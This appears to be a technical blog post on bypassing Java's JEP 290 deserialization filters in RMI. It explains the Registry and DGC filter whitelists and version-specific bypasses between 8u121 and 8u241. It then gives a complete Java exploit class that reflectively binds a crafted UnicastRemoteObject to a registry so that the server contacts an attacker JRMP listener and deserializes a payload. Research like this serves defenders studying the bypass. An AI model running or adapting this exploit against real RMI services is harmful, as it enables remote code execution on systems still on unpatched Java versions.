Advanced RMI Exploitation After JEP 290 Implementation

Understanding JEP 290

JEP 290 was introduced in updates such as JDK 6u141, JDK 7u131, and JDK 8u121 to mitigate deserialization risks. Its core features include:

  • Implementation of class restriction mechanisms (whitelists or blacklists).
  • Limitations on the depth and complexity of deserialization graphs.
  • Introduction of class validation specifically for RMI object invocation.
  • A configurable filtering system, often managed via properties files.

The primary technical change involved adding a serialFilter (of type ObjectInputFilter) and a filterCheck method to ObjectInputStream. The checkInput method determines if a class is allowed based on the data encapsulated in FilterValues.

Filtering Mechanisms in Registry and DGC

Both the RMI Registry and Distributed Garbage Collector (DGC) handle requests via the oldDispatch method, eventually calling unmarshalCustomCallData(). However, their filtering strategies differ.

The Registry initializes its filter within UnicastServerRef during creation. The logic allows specific safe types:

return String.class != var2 &&
    !Number.class.isAssignableFrom(var2) &&
    !Remote.class.isAssignableFrom(var2) &&
    !Proxy.class.isAssignableFrom(var2) &&
    !UnicastRef.class.isAssignableFrom(var2) &&
    !RMIClientSocketFactory.class.isAssignableFrom(var2) &&
    !RMIServerSocketFactory.class.isAssignableFrom(var2) &&
    !ActivationID.class.isAssignableFrom(var2) &&
    !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

Conversely, the DGC utilizes a dynamically overridden filter function, strictly allowing only specific internal ID and lease objects:

return  var2 != ObjID.class &&
        var2 != UID.class &&
        var2 != VMID.class &&
        var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;

Bypassing JEP 290

Direct Server攻击

If a server exposes methods with parameters other than Object, and the internal filter in UnicastServerRef is not explicitly configured (null), the server remains vulnerable to direct deserialization attacks.

JRMPListener & JRMPClient (8u121 - 8u231)

Attackers can still target clients by impersonating a malicious server. Since UnicastRef and Remote are whitelisted, a RemoteObject chain can pass the filter. This triggers DGCImpl_Stub#dirty to send a DGC request.

The vulnerability persists because the DGC client request handling does not filter deserialization strictly. The malicious server (using an exploit like JRMPListener) returns an exception containing the payload, wich the client then deserializes.

In version 8u231, the DGC filter was hardened with a stricter whitelist, rejecting common payloads like javax.management.BadAttributeValueExpException.

Bypass Techniques (8u231 - 8u241)

The defense mechanism typically places filters before the invoke method. However, if UnicastRef.invoke() is reachable through other paths, the vulnerability remains.

Specifically, RemoteObjectInvocationHandler.invokeRemoteMethod can trigger UnicastRef.invoke. By finding a deserialization path that involves a delegate class within the whitelist, an atacker can achieve code execution.

The class UnicastRemoteObject (which extends Remote) utilizes an RMIServerSocketFactory (ssf) delegate. During deserialization, newServerSocket calls createServerSocket, leading to an invocation chain that processes malicious data.

To deliver the payload, one must target the Registry, as the DGC filter blocks Remote objects. Since a standard bind converts objects to RemoteObjectInvocationHandler proxies, a custom bind method using reflection is required to force the deserialization of the UnicastRemoteObject.

Exploit Implementation

public class RMIExploit {
    public static void main(String[] args) throws Exception {
        // 1. Setup malicious reference pointing to attacker's JRMP listener
        LiveRef liveRef = new LiveRef(new ObjID(new Random().nextInt()), new TCPEndpoint("127.0.0.1", 7777), false);
        UnicastRef maliciousRef = new UnicastRef(liveRef);

        // 2. Create Invocation Handler
        RemoteObjectInvocationHandler invHandler = new RemoteObjectInvocationHandler(maliciousRef);

        // 3. Create a dynamic proxy for RMIServerSocketFactory
        RMIServerSocketFactory proxyFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
                invHandler.getClass().getClassLoader(),
                new Class[]{RMIServerSocketFactory.class},
                invHandler
        );

        // 4. Instantiate UnicastRemoteObject and inject the proxy factory
        Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        UnicastRemoteObject targetObject = constructor.newInstance();

        Field ssfField = UnicastRemoteObject.class.getDeclaredField("ssf");
        ssfField.setAccessible(true);
        ssfField.set(targetObject, proxyFactory);

        // 5. Manual bind to Registry to bypass standard proxy conversion
        Registry registry = LocateRegistry.getRegistry(1099);
        
        // Access internal fields to construct a manual RemoteCall
        Field refField = RemoteObject.class.getDeclaredField("ref");
        refField.setAccessible(true);
        UnicastRef regRef = (UnicastRef) refField.get(registry);

        Field opsField = RegistryImpl_Stub.class.getDeclaredField("operations");
        opsField.setAccessible(true);
        Operation[] ops = (Operation[]) opsField.get(registry);

        RemoteCall call = regRef.newCall((RemoteObject) registry, ops, 0, 4905912898345647071L);
        ObjectOutput out = call.getOutputStream();

        // Write payload objects
        out.writeObject("payload_trigger");
        out.writeObject(targetObject);
        
        regRef.invoke(call);
        regRef.done(call);
    }
}

Note: In vertion 8u241, the JVM added checks to verify if the proxy interface relates to Remote before invoking methods, effectively patching the ability to trigger external JRMP requests via this vector.

Tags: RMI JEP290 Java deserialization UnicastRemoteObject JRMP

Posted on Sat, 30 May 2026 20:45:23 +0000 by Robban